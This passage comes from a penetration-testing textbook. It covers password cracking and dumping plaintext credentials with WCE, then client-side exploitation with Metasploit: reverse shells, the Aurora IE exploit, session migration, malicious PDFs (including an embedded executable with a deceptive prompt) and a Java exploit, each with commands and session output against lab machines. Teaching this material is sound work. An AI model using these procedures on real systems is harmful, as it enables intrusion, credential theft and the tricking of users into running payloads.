approaching infinity as we try to store every possible password hash value
for brute forcing.
A set of precomputed hashes is known as a rainbow table. Rainbow tables
typically hold every possible hash entry for a given algorithm up to a certain
length with a limited character set. For example, you may have a rainbow
table for MD5 hashes that contains all entries that are all lowercase letters
and numbers with lengths between one and nine. This table is about 80 GB—
not so bad with today’s price of storage, but keep in mind this is only a very
limited amount of the possible keyspace for MD5.
Given its limited keyspace (discussed previously), an LM hash appears
to be an ideal candidate for using rainbow tables. A full set of LM hash
rainbow tables is about 32 GB.
You can download pregenerated sets of hashes from http://project
-rainbowcrack.com/table.htm. The tool Rcrack in Kali can be used to sift
through the rainbow tables for the correct plaintext.
Online Password-Cracking Services
The current hip thing to do in IT is to move things to the cloud, and password cracking is no different. By leveraging multiple high-spec machines,
you can get faster, more comprehensive results than you could with just
a virtual machine on your laptop. You can, of course, set up up your own
high-powered machines in the cloud, create your own wordlists, and so on,
but there are also online services that will take care of this for you for a
fee. For example, https://www.cloudcracker.com/ can crack NTLM Windows
hashes, SHA-512 for Linux, WPA2 handshakes for wireless, and more. You
simply upload your password hash file, and the cracker does the rest.
Dumping Plaintext Passwords from Memory with
Windows Credential Editor
Why bother cracking password hashes if we can get access to plaintext
passwords? If we have access to a Windows system, in some cases we can pull
plaintext passwords directly from memory. One tool with this functionality
is the Windows Credential Editor (WCE). We can upload this tool to an
exploited target system, and it will pull plaintext passwords from the Local
Password Attacks 213
Security Authority Subsystem Service (LSASS) process in charge of enforcing
the system’s security policy. You can download the latest version of WCE from
http://www.ampliasecurity.com/research/wcefaq.html. An example of running
WCE is shown in Listing 9-17.
C:\>wce.exe -w
wce.exe -w
WCE v1.42beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa
([email protected])
Use -h for help.
georgia\BOOKXP:password
Listing 9-17: Running WCE
Here WCE found the plaintext of the user georgia’s password. The
downside to this attack is that it requires a logged-in user for the password
to be stored in memory. Even if you were able to get a plaintext password or
two with this method, it is still worth dumping and attempting to crack any
password hashes you can access.
Summary
Reversing password hashes is an exciting field, and as the speed of hardware increases, it becomes possible to crack stronger hashes faster. Using
multiple CPUs and even the graphics processing units (GPUs) on video
cards, password crackers can try many hashes very quickly. Our virtual
machines don’t have much processing power, but even your average modern
laptop is much faster than the machines that were used for password cracking just a few short years ago. The cutting edge of password cracking these
days is taking to the cloud and harnessing multiple top-spec cloud servers
for cracking. You’ll even find some cloud-based password-cracking services.
As you’ve seen in this chapter, using information gathered from successful exploits in Chapter 8, we’ve managed to reverse password hashes
to recover plaintext passwords for some services and the systems themselves.
Having managed to get a foothold on the systems, let’s look at some advanced
attack methods that can help us if we can’t find anything vulnerable when
listening on the network. We still have the Windows 7 machine to exploit,
after all.
214 Chapter 9
10
C l i e n t- S i d e E x p l o i t a t i o n
The vulnerabilities we’ve studied so far have been
low-hanging fruit, and all have come up on real
engagements. It’s common on penetration tests to
find vulnerable services listening on ports, unchanged
default passwords, misconfigured web servers, and
so on.
However, clients who put a lot of time and effort into their security posture may be free from these kinds of vulnerabilities. They may have all security patches in place; they may periodically audit passwords and remove any
that can be easily guessed or cracked. They may control user roles: Regular
users may not have administrative rights on their workstations, and any software that is installed is investigated and maintained by the security staff. As
a result, there may not be many services to even try to attack.
Yet, despite the deployment of the latest and greatest security technologies and the employment of crack security teams, high-profile companies
(with potentially high payoffs for attackers) are still being breached. In this
chapter we’ll examine a few different kinds of attacks that don’t require
direct network access. We’ll study attacks that target local software on a
system—software that is not listening on a port.
Because we won’t attack a computer or listening port directly, and
because we need to come up with another way to attack a device inside a
corporate perimeter, we need to select our payload accordingly. Whereas
a normal bind shell might work fine for systems directly exposed to the
Internet or listening on a port on our local network, we will at the very least
be limited to reverse connections here.
But first let’s dive a little deeper into the Metasploit payload system and
check out some other payloads that may be useful to you.
Bypassing Filters with Metasploit Payloads
In previous chapters we discussed the Metasploit payload system, including
single versus staged payloads and bind shells versus reverse shells. We also
talked briefly about Metasploit’s Meterpreter payload (which we’ll discuss in
depth in Chapter 13). When you use the command show payloads on a module, you may see several payloads that may be new to you. We’ll look at a
few in this section that can be used to bypass filtering technologies you may
encounter on your pentests.
All Ports
Our network is set up such that our attack and target virtual machines are
on the same network with no firewalls or other filters blocking communications. However, in your pentesting career, you may encounter clients with
all sorts of filtering setups. Even a reverse connection may not be able to
get through the filters and connect back to your attack machine on just
any port. For example, a client network may not allow traffic to leave the
network on port 4444, the default for Metasploit reverse_tcp payloads. It may
allow traffic out only on specific ports, such as 80 or 443 for web traffic.
If we know which ports are allowed through the filter, we can set the
LPORT option to the relevant port. The Metasploit reverse_tcp_allports payloads
can help us find a port to connect to. As the name suggests, this payload
communication method will try all ports until it finds a successful connection back to Metasploit.
Let’s test this functionality with the windows/shell/reverse_tcp_allports payload, as shown in Listing 10-1. We are using the MS08-067 exploit against
Windows XP.
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp_allports
payload => windows/shell/reverse_tcp_allports
msf exploit(ms08_067_netapi) > show options
--snip-Payload options (windows/shell/reverse_tcp_allports):
216 Chapter 10
Name
Current Setting
-----------------EXITFUNC thread
LHOST
192.168.20.9
uLPORT
1
--snip-msf exploit(ms08_067_netapi)
Required
-------yes
yes
yes
Description
----------Exit technique: seh, thread, process, none
The listen address
The starting port number to connect back on
> exploit
[*] Started reverse handler on 192.168.20.9:1
--snip-[*] Sending encoded stage (267 bytes) to 192.168.20.10
[*] Command shell session 5 opened (192.168.20.9:1 -> 192.168.20.10:1100) at 2015-05-14
22:13:20 -0400 v
Listing 10-1: Windows/shell/reverse_tcp_allports payload
Here, the LPORT u option specifies the first port to try. If that port doesn’t
work, the payload will try each subsequent port until the connection succeeds. If the payload reaches 65535 without success, it starts trying again at
port 1 and runs infinitely.
Because there is no filter blocking our traffic, the first port Metasploit
tries, port 1, creates a successful connection, as shown at v. Though this
payload will work in many cases, some filtering technologies will be able
to stop it regardless of the port it tries to connect to. One downside to this
payload is that it may run for a long time in an attempt to find an unfiltered
port. If a user sees the application hanging, he or she may close it before
the payload is successful.
HTTP and HTTPS Payloads
While some filters may allow all traffic out on certain ports, the most
advanced filtering systems use content inspection to screen for legitimate
protocol-specific traffic. This can pose a problem for our payloads. Even
though our Meterpreter payload communication is encrypted—the content
inspection won’t be able to say, “That’s Metasploit, go away!”—the filter will
be able to tell that the traffic going out on port 80 doesn’t meet the HTTP
specification.
To address this challenge, the developers of Metasploit created HTTP
and HTTPS payloads. These payloads follow the HTTP and HTTPS specifications so that even content-inspection filters will be convinced that our
traffic is legitimate. Also, these payloads are packet based, rather than
stream based like the TCP payloads. That means they aren’t limited to a
specific connection. If you lose network communication briefly and lose all
your Metasploit sessions, HTTP and HTTPS sessions can recover and reconnect. (We’ll see an example using these payloads in “Java Vulnerability” on
page 230.)
Client-Side Exploitation 217
Though HTTP and HTTPS payloads will get you through most filtering technologies, you may find yourself in an even more complex filtering
situation. For example, I tested one client where only the Internet Explorer
process, when started by a domain-authenticated user, could reach the
Internet. Employees could browse the Internet to perform their business,
but they were somewhat limited. For instance, they couldn’t use an instant
messenger client. While this probably annoyed some employees, it was a
good idea for security reasons. Even if we had been able to successfully
exploit something, even HTTP and HTTPS payloads could not get out to
the Internet. (In “Browser Exploitation” on page 219, we’ll look at some
attack methods that would allow us to exploit the Internet Explorer process
when a legitimate domain user is logged in and then connect to the outside
world.)
Meterpreter HTTP and Meterpreter HTTPS use the proxy settings
of Internet Explorer to navigate any proxies necessary to call out to the
Internet. For this reason, if your target process is running as the System
user, these proxy settings may not be defined, and these payloads may fail.
Note
There is also a Meterpreter payload, reverse_https_proxy, that allows the attacker
to manually add in any necessary proxy settings.
Client-Side Attacks
Now let’s turn our attention to running client-side attacks. Instead of directly
attacking a service listening on a port, we’ll create a variety of malicious
files that, when opened in vulnerable software on the target machine, will
result in a compromise.
So far all of our attacks have involved some sort of service listening on
a port, be it a web server, FTP server, SMB server, or otherwise. When we
began our pentest, one of the first things we did was port scan our targets
to see which services were listening. When we start a pentest, the potential
vulnerabilities are practically limitless.
As we begin running tools, performing manual analysis, and researching, the exploitation possibilities gradually decrease until we’re left with
a limited number of issues on the target systems. Those issues have been
server-side issues—services listening on ports. What we are missing is any
potentially vulnerable software that is not listening on a port—client-side
software.
Software like web browsers, document viewers, music players, and so on
are subject to the same sort of issues as web servers, mail servers, and every
other network-based program.
218 Chapter 10
Of course, because client-side software isn’t listening on the network,
we can’t directly attack it, but the general principle is the same. If we can
send unexpected input to a program to trigger a vulnerability, we can
hijack execution, just as we exploited server-side programs in Chapter 8.
Because we can’t send input to client-side programs directly over the network, we must entice a user to open a malicious file.
As security is taken more seriously and server-side vulnerabilities become
more difficult to find from an Internet-facing perspective, client-side exploitation is becoming key to gaining access to even carefully protected internal
networks. Client-side attacks are ideal for assets such as workstations or
mobile devices that lack an Internet-facing IP address. Though from the
perspective of the Internet we can’t directly access those systems, they can
typically call out to the Internet, or to a pentester-controlled system, if we
can hijack execution.
Unfortunately, the success of client-side attacks relies on somehow
making sure that our exploit is downloaded and opened in a vulnerable
product. In the next chapter, we’ll look at some techniques to lure users
into opening malicious files; for now we’ll look at some client-side exploits,
beginning with what must be the most popular target for client-side exploitation: web browsers.
Browser Exploitation
Web browsers are made up of code to render web pages. Just as we can send
malformed input to server software, if we open a web page with malicious
code to trigger a security issue, we can potentially hijack execution in the
browser and execute a payload. Though the delivery is a bit different, the fundamental concept is the same. All of the most common browsers have been
subject to security issues—Internet Explorer, Firefox, and even Mobile Safari.
iPhone J a ilbre a king v i a Brow se r E x ploitat ion
In the past, browser exploitation has been instrumental in iPhone jailbreaking. While later versions of iOS implement a security feature called mandatory
code signing, which requires that all executed code be approved by Apple,
Mobile Safari (the web browser on the iPhone) gets a pass because to render
web pages, it must be able to run unsigned code. Apple can’t go through all the
pages on the Internet and sign everything that doesn’t contain malicious code.
And if the iPhone can’t view web pages, everyone will just go buy an Android
phone—the last thing Apple wants. When iOS 4 renders PDF documents in
Mobile Safari, one of the fonts includes a security vulnerability. This client-side
attack allows jailbreakers to gain a foothold on iPhones just by tricking a user
into opening a malicious link in the browser.
Client-Side Exploitation 219
Let’s consider a famous vulnerability in Internet Explorer. The Aurora
exploit was used in 2010 against major companies such as Google, Adobe,
and Yahoo!. At the time of the Aurora attacks, Internet Explorer contained a
zero-day vulnerability—that is, a vulnerability that had not yet been patched.
(Even a fully updated version of Internet Explorer could be compromised
if a user could be tricked into opening a malicious web page, triggering the
vulnerability.)
Microsoft has released patches for Internet Explorer, but as with other
security patches, users sometimes overlook updating their browsers, and the
version of Internet Explorer installed on the Windows XP target doesn’t have
the necessary security patch to protect against the Aurora exploit.
We’ll use Metasploit to take control of a target machine by attacking a
vulnerable browser using the Aurora Metasploit module, exploit/windows/
browser/ms10_002_aurora, shown in Listing 10-2.
Note
Client-side Metasploit modules are fundamentally the same as the server-side modules we have used so far, except that the options are a bit different: Instead of sending
exploits to a remote host on the network, we set up a server and wait for a browser to
access our page.
msf > use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > show options
Module options (exploit/windows/browser/ms10_002_aurora):
Name
---uSRVHOST
Current Setting
--------------0.0.0.0
Required
-------yes
vSRVPORT
wSSL
SSLCert
8080
false
yes
no
no
SSL3
no
SSLVersion
xURIPATH
no
Description
----------The local host to listen on. This must be an address
on the local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly
generated)
Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)
The URI to use for this exploit (default is random)
Exploit target:
Id
-y0
Name
---Automatic
Listing 10-2: Internet Explorer Aurora Metasploit module
Notice in the options for the module that instead of RHOST we see the
SRVHOST u option. This is the local IP address for the server. By default this
address is set to 0.0.0.0 to listen on all addresses on the local system. The
220 Chapter 10
default port to listen on, the SRVPORT v option, is 8080. You can change this
port number to 80 (the default port for web servers) as long as no other
program is using the port. You can even use an SSL connection w.
If we set the URIPATH x option, we can specify a specific URL for the
malicious page. If we don’t set anything here, a random URL will be used.
Because the exploitation will take place entirely inside the browser, our
exploit will work regardless of the version of Windows running y, as long
as Internet Explorer is subject to the Aurora vulnerability.
Next we set the module options for our environment. The payloads
for this module are the same as the Windows payloads we’ve already seen.
Exploiting the browser is no different from exploiting any other program
on the system, and we can run the same shellcode. We’ll use the windows/
meterpreter/reverse_tcp payload for this example to illustrate some client-side
attack concepts, as shown in Listing 10-3.
Note
Make sure the apache2 web server is not running on port 80 with service
apache2 stop.
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.20.9
SRVHOST => 192.168.20.9
msf exploit(ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms10_002_aurora) > set URIPATH aurora
URIPATH => aurora
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444 u
[*] Using URL: http://192.168.20.9:80/aurora v
[*] Server started.
Listing 10-3: Setting options and launching the Aurora module
As you can see in Listing 10-3, once we’ve set the options and run the
module, a web server is started in the background on the selected SRVPORT at
the selected URIPATH as shown at v. Additionally, a handler is set up for the
selected payload u.
Now we’ll use Internet Explorer on the Windows XP target to browse
to the malicious site. In Metasploit you should see that the page has been
served and is attempting to exploit the vulnerability, as shown in Listing 10-4.
Although our Windows XP browser is vulnerable, it may take a couple tries
to exploit the browser successfully.
Exploiting the Aurora vulnerability is not as reliable as exploiting the
other vulnerabilities we’ve discussed so far in this book. If Internet Explorer
crashes, but you do not receive a session, try browsing to the exploit page
again.
Client-Side Exploitation 221
msf exploit(ms10_002_aurora) > [*] 192.168.20.10
ms10_002_aurora Sending Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1376) at
2015-05-05 20:23:25 -0400 u
Listing 10-4: Receiving a client-side session
Though this exploit may not work every time, the target browser is vulnerable and a couple of tries should do it. If the exploit succeeds, you will
receive a session, as shown at u. We are not automatically dropped into the
session. Use sessions -i <session id> to interact with the Meterpreter session.
Though we have successfully exploited the browser and gained a foothold on the target system, our challenges are not over. If you look back at the
Windows XP machine and try to continue using Internet Explorer, you’ll find
that it’s no longer functioning. The exploitation involved in getting our session has made the browser unusable. The problem for us is that users who
have been tricked into visiting our malicious site will naturally want to continue using their browsers. They may force-quit the browser, or the browser
may crash on its own due to its unstable state. When the browser closes, we
lose our Meterpreter session.
msf exploit(ms10_002_aurora) > [*] 192.168.20.10 - Meterpreter session 1 closed. Reason: Diedu
Our Meterpreter payload resides entirely inside the memory of the
exploited process. If the browser dies or is closed by the user, our session
also dies, as you can see at u. We can lose our foothold on the system just
as quickly as we gained it.
We need a way to keep our Meterpreter session alive, even if the exploited
process—in this case, the Internet Explorer browser—dies. But first, we
need to stop our Metasploit web server so we can make some changes to the
malicious page to fix this problem, as shown in Listing 10-5.
msf
exploit(ms10_002_aurora) > jobsu
Jobs
====
Id
-0
Name
---Exploit: windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > kill 0v
Stopping job: 0...
[*] Server stopped.
Listing 10-5: Killing a background job in Metasploit
We can see everything running in the background in Metasploit by entering jobs u. To stop a job running in the background, enter kill <job number> v.
222 Chapter 10
Because Meterpreter lives entirely inside the memory of the exploited
process and that process is doomed to die, we need some way to move our
session out of the Internet Explorer process and into one that is more likely
to stick around.
Running Scripts in a Meterpreter Session
Unlike network attacks, where we will see a session right away if our attack
succeeds, when performing client-side attacks, we must wait until a user
accesses our malicious page. Even if we find a way to move Meterpreter into
another process, sessions could come in at any time. We can’t be distracted
at any point during our pentest or we risk losing a session. It would be ideal
if we could automatically run commands in our Meterpreter session so that
we don’t have to sit idly, waiting for a browser to access our malicious server.
Meterpreter scripts that can be run in an open session can be found at
/usr/share/metasploit-framework/scripts/meterpreter in Kali. We’ll look at more
examples of Meterpreter scripts in Chapter 13, but for now let’s look at one
specific Meterpreter script that will work well with our current scenario. The
script migrate.rb allows us to move Meterpreter from the memory of one process to another, which is exactly what we need here. To run a Meterpreter
script inside an active Meterpreter session, enter run <script name>, as shown
in Listing 10-6. You may be presented with help information about how to
use the script correctly, as we are shown here.
meterpreter > run migrate
OPTIONS:
-f
-h
-k
-n <opt>
-p <opt>
Launch a process and migrate into the new process u
Help menu.
Kill original process.
Migrate into the first process with this executable name (explorer.exe) v
PID to migrate to. w
Listing 10-6: Running a Meterpreter script
When we attempt to run the migrate script, we see a few options. We can
launch a new process and migrate into that process, as shown at u; migrate
into a process with a given name v; or choose the process by process ID, as
shown at w.
Advanced Parameters
In addition to the module and payload options, Metasploit modules have
advanced parameters. We can see the available advanced parameters with
the command show advanced, as shown in Listing 10-7.
msf
exploit(ms10_002_aurora) > show advanced
Module advanced options:
Client-Side Exploitation 223
Name
: ContextInformationFile
Current Setting:
Description
: The information file that contains context information
--snip-Name
: AutoRunScriptu
Current Setting:
Description
: A script to run automatically on session creation.
--snip-Name
: WORKSPACE
Current Setting:
Description
: Specify the workspace for this module
Listing 10-7: Metasploit advanced parameters
One of the advanced settings for our chosen payload is AutoRunScript u.
When set, this setting will allow us to automatically run a Meterpreter script
when a session opens.
We can set this parameter to automatically run the migrate script when
a Meterpreter session opens. This way, when the browser dies, as long as
the migrate script has finished, our session will be safe from the crash.
Additionally, by running the script automatically, we can migrate whenever
a user accesses the malicious page, regardless of whether you have your eyes
on Msfconsole when the session comes in, as shown in Listing 10-8.
msf exploit(ms10_002_aurora) > set AutoRunScript migrate -fu
AutoRunScript => migrate -f
msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Using URL: http://192.168.20.9:80/aurora
[*] Server started.
Listing 10-8: Setting the AutoRunScript parameter
To set advanced parameters, use the syntax set <parameter to set> <value>
(the same as setting regular options). For example, in Listing 10-8, we tell
the migrate script to spawn a new process to migrate into with the -f flag u,
and then we start the malicious server again.
Now browse to the malicious page from the Windows XP target again
(see Listing 10-9).
msf exploit(ms10_002_aurora) > [*] 192.168.20.10
ms10_002_aurora - Sending Internet
Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at 2015-05-05 20:26:15 -0400
[*] Session ID 2 (192.168.20.9:4444 -> 192.168.20.10:1422) processing AutoRunScript 'migrate -f' u
[*] Current server process: iexplore.exe (3476)
224 Chapter 10
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 484
[+] Successfully migrated to process v
Listing 10-9: Automatically migrating
This time we get a session saying that the AutoRunScript parameter is processed automatically u. The migrate script spawns a notepad.exe process and
moves into it v. When Internet Explorer dies, our session remains alive.
Though automatically migrating is a good idea when using a browser
exploit, it still takes a few seconds for the migration to happen—seconds
during which the user could close the browser and kill our session. Fortunately,
the advanced Meterpreter option PrependMigrate, shown here, will migrate
even faster, before the payload is run.
Name
: PrependMigrate
Current Setting: false
Description
: Spawns and runs shellcode in new process
You can set this option to true as an alternative to the AutoRunScript we
used earlier.
This has been just one example of a browser exploit. Metasploit has
other modules for exploiting vulnerabilities in Internet Explorer as well
as other popular web browsers. As more organizations have hardened their
external security posture, browser exploitation has given over the keys to
the kingdom in many pentests as well as attacks.
Note
The Aurora vulnerability was patched in 2010, but users and organizations are
bad at keeping their browsers up to date, so this exploit still finds targets today.
Additionally, though new remote exploits for operating systems are rare, major
browsers such as Internet Explorer fall victim to new client-side attacks on a regular
basis. Use Msfupdate as discussed in Chapter 4 to get the latest modules for new
vulnerabilities, some of which may not even be patched by the vendor at the time of
the module’s release. Note that running Msfupdate may affect how Metasploit works,
which may make it more difficult to follow along with the book. Therefore, you may
not want to update Metasploit until after you have read through the book.
Now let’s look at some other client-side software that can be exploited
to gain command execution on a target system.
PDF Exploits
Portable Document Format (PDF) software can also be exploited. If a
user can be enticed to open a malicious PDF in a vulnerable viewer, the
program can be exploited.
The most popular PDF viewer for Windows systems is Adobe Reader.
Like browsers, Adobe Reader has a history littered with security holes. Also
like browsers, even when a patch-management process is in place, regularly updating the underlying operating system, PDF software is often forgotten, and remains at an older, vulnerable version.
Client-Side Exploitation 225
Exploiting a PDF Vulnerability
Our Windows XP target has an outdated version of Adobe Reader 8.1.2
installed that is subject to CVE-2008-2992, a stack-based buffer overflow. The corresponding Metasploit module is exploit/windows/fileformat/
adobe_utilprintf.
The options for this module are a bit different than anything we’ve
seen thus far, as shown in Listing 10-10. This is a client-side attack, so there
is no RHOST option, but unlike our browser attack, there are also no SRVHOST
or SRVPORT options. This module simply creates a malicious PDF; hosting it
for delivery and setting up a payload handler is up to us. Of course, we have
all the skills necessary to perform both these tasks easily.
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name
Current Setting
-----------------uFILENAME msf.pdf
Required
-------yes
Description
----------The file name.
Exploit target:
Id
-v0
msf
Name
---Adobe Reader v8.1.2 (Windows XP SP3 English)
exploit(adobe_utilprintf) > exploit
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf w
Listing 10-10: A Metasploit PDF exploit
As you can see, the only option for the PDF exploit is the name of the
malicious file to be generated u. We can leave the default, msf.pdf. For this
example, we’ll have Metasploit use the default payload, windows/meterpreter/
reverse_tcp on port 4444. When we enter exploit, Metasploit generates a PDF
that will exploit this vulnerability in a vulnerable version of Adobe Reader
on Windows XP SP3 English v. The malicious PDF is stored as /root/.msf4/
local/msf.pdf w.
Now we need to serve the PDF and set up a handler for the payload, as
shown in Listing 10-11.
msf exploit(adobe_utilprintf) > cp /root/.msf4/local/msf.pdf /var/www
[*] exec: cp /root/.msf4/local/msf.pdf /var/www
msf exploit(adobe_utilprintf) > service apache2 start
[*] exec service apache2 start
226 Chapter 10
Starting web server: apache2.
msf exploit(adobe_utilprintf) > use multi/handleru
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.20.9
lhost => 192.168.20.9
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at
2015-05-05 20:26:15 -0400 v
Listing 10-11: Serving the malicious PDF and using a handler
We copy the file to the Apache web server folder and start the server,
if it is not already running. We’ll look at ways to lure users into opening
malicious files later in this chapter, but for now we’ll just open the malicious PDF in Adobe Reader 8.1.2 on our Windows XP target. First, though,
we need to set up a handler for the payload. We can use the multi/handler u
module as we learned in Chapter 4. (Be sure to kill the Aurora job if its
handler is also listening on port 4444 to free up this port for multi/handler
use). When we open the malicious PDF, we again receive a session v.
Typically with an attack like this we won’t be targeting just one user. For
best results we might use this malicious PDF as part of a social-engineering
campaign, as discussed in the next chapter, by sending out a few to even hundreds of malicious PDFs in an attempt to entice users to open them. The
multi/handler listener we set up previously will close as soon as it sees the
first connection, causing us to miss any other connections that come in from
other users opening the PDF. It would be much better if we could leave our
listener open to catch additional incoming connections.
As it turns out, an advanced option for the multi/handler module solves
this problem. As shown in Listing 10-12, the advanced option ExitOnSession,
which is set to true by default, specifies whether the listener closes after it
receives a session. If we set this option to false, the listener will stay open
and allow us to catch multiple sessions with a single handler.
msf exploit(handler) > show advanced
Module advanced options:
--snip-Name
: ExitOnSession
Current Setting: true
Description
: Return from the exploit after a session has been created
msf exploit(handler) > set ExitOnSession falseu
ExitOnSession => false
msf exploit(handler) > exploit -jv
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Starting the payload handler...
Listing 10-12: Keeping the handler open for multiple sessions
Client-Side Exploitation 227
Set ExitOnSession to false in the usual way u. One side effect of this
option is that if we, say, exploit and start the listener in the foreground,
it will never close, so we will be stuck without an Msfconsole prompt
indefinitely. For this reason, Metasploit will complain and note that you
should use the -j option with exploit v to run the handler as a job, in the
background. This way you can continue to use Msfconsole while the handler
catches any incoming shells in the background. To close the handler in
the future, use jobs, followed by kill <job number> as we did in the Aurora
example.
This exploit and the Aurora browser example discussed earlier both
rely on a missing security patch. Here we’ve exploited a security vulnerability to hijack control of the program and execute malicious code by tricking
the user into letting us run malicious code. If the user will allow us to run
code, a vulnerability in the PDF software becomes unnecessary.
PDF Embedded Executable
Now for another PDF attack: This time we’ll embed a malicious executable
inside a PDF. The corresponding Metasploit module is exploit/windows/
fileformat/adobe_pdf_embedded_exe, as shown in Listing 10-13. Instead of
exploiting the software as soon as the PDF is opened, the generated PDF
will prompt the user for permission to run the embedded file. The success
of our attack is contingent on the user allowing our executable to run.
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > show options
Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):
Name
Current Setting
-----------------uEXENAME
vFILENAME
evil.pdf
wINFILENAME
xLAUNCH_MESSAGE To view the encrypted content please
tick the "Do not show this message
again" box and press Open.
--snip--
Required
-------no
no
yes
no
Description
----------The Name of payload exe.
The output filename.
The Input PDF filename.
The message to display in
the File: area
Listing 10-13: PDF embedded EXE module
The module lets us specify a prebuilt executable file with the EXENAME u
option. If we don’t set this option, we can embed an .exe file created from
whatever payload we select. We can again change the filename to anything
we like or leave the value as the default v. To use this module, we must
use an input PDF for the INFILENAME w option. The LAUNCH_MESSAGE x option
is the text that will be shown to the user as part of the prompt to run the
executable.
Set the relevant options, as shown in Listing 10-14.
228 Chapter 10
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /usr/share/set/readme/User_Manual.pdfu
INFILENAME => /usr/share/set/readme/User_Manual.pdf
msf exploit(adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(adobe_pdf_embedded_exe) > exploit
[*]
[*]
[*]
[*]
[+]
Reading in '/usr/share/set/readme/User_Manual.pdf'...
Parsing '/usr/share/set/readme/User_Manual.pdf'...
Using 'windows/meterpreter/reverse_tcp' as payload...
Parsing Successful. Creating 'evil.pdf' file...
evil.pdf stored at /root/.msf4/local/evil.pdfv
Listing 10-14: Setting module options and creating the malicious PDF
We’ll use a PDF included with Kali Linux for our example: the Metasploit
user guide at /user/share/set/readme/User_Manual.pdf u. The generated PDF is
again stored in the /root/msf4/local/ directory v. (Be sure to set up a handler
for the payload with the multi/handler module before opening the PDF on
the Windows XP target. For a refresher, see Listing 10-11.)
note
The previous exploit may have left Adobe Reader in a bad state, so you may need to
restart Windows XP to get it to properly load the new PDF.
When the malicious PDF is opened, the user sees a warning like the one
shown in Figure 10-1. The user must click Open for the embedded executable
to run. This attack depends on users being willing to click through this warning.
Figure 10-1: PDF embedded executable user warning
Client-Side Exploitation 229
Once you click Open in the PDF warning, the payload will run, and you
will receive a session.
Java Exploits
Java vulnerabilities are a prevalent client-side attack vector. In fact, some
experts suggest that in light of the security issues that plague Java, users
should uninstall or disable the software in their browsers.
One thing that makes Java attacks so powerful is that one exploit can
gain access to multiple platforms. Windows, Mac, and even Linux systems
running the Java Runtime Environment (JRE) in a browser can all be
exploited by exactly the same exploit when that browser opens a malicious
page. Here are some sample exploits.
Java Vulnerability
As exhibit number one, we’ll use the Metasploit module exploit/multi/browser/
java_jre17_jmxbean, as shown in Listing 10-15. Use of this module is similar
to that of the Internet Explorer Aurora exploit shown earlier in this chapter. Metasploit sets up a malicious server to exploit this cross-platform vulnerability on any browser that arrives at the page. Any browser running Java
version 7 before update 11 is affected.
msf > use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean) > show options
Module options (exploit/multi/browser/java_jre17_jmxbean):
Name
---SRVHOST
Required
-------yes
8080
yes
Description
----------The local host to listen on. This must be an address
on the local machine or 0.0.0.0
The local port to listen on.
no
The URI to use for this exploit (default is random)
SRVPORT
--snip-URIPATH
Current Setting
--------------0.0.0.0
Exploit target:
Id
-0
Name
---Generic (Java Payload)
msf exploit(java_jre17_jmxbean)
SRVHOST => 10.0.1.9
msf exploit(java_jre17_jmxbean)
SRVPORT => 80
msf exploit(java_jre17_jmxbean)
URIPATH => javaexploit
msf exploit(java_jre17_jmxbean)
230 Chapter 10
> set SRVHOST 192.168.20.9
> set SRVPORT 80
> set URIPATH javaexploit
> show payloadsu
Compatible Payloads
===================
Name
-----snip-java/meterpreter/bind_tcp
Disclosure Date
---------------
Rank
----
Description
-----------
normal
Java Meterpreter, Java Bind TCP
Stager
Java Meterpreter, Java Reverse HTTP
Stager
Java Meterpreter, Java Reverse
HTTPS Stager
Java Meterpreter, Java Reverse TCP
Stager
Java Command Shell, Reverse TCP
Inline
java/meterpreter/reverse_http
normal
java/meterpreter/reverse_https
normal
java/meterpreter/reverse_tcp
normal
java/shell_reverse_tcp
normal
--snip-msf exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_httpv
payload => java/meterpreter/reverse_http
Listing 10-15: Setting up a Java exploit
Set the options to match your environment. Set the SRVHOST option
to the local IP address, and change the SRVPORT, if you would like. Set the
URIPATH to something that will be easy to type in your target browser.
Notice that because this exploit is multi-platform and the code execution takes place entirely inside the JRE, our payload options are Java-based.
The usual suspects are all here, from staged payloads, inline payloads, bind
shells, reverse shells, Meterpreter, and so on, as shown in the list of payloads
at u. We’ll use the payload java/meterpreter/reverse_http, which uses legitimate
HTTP traffic v. Its options are shown in Listing 10-16.
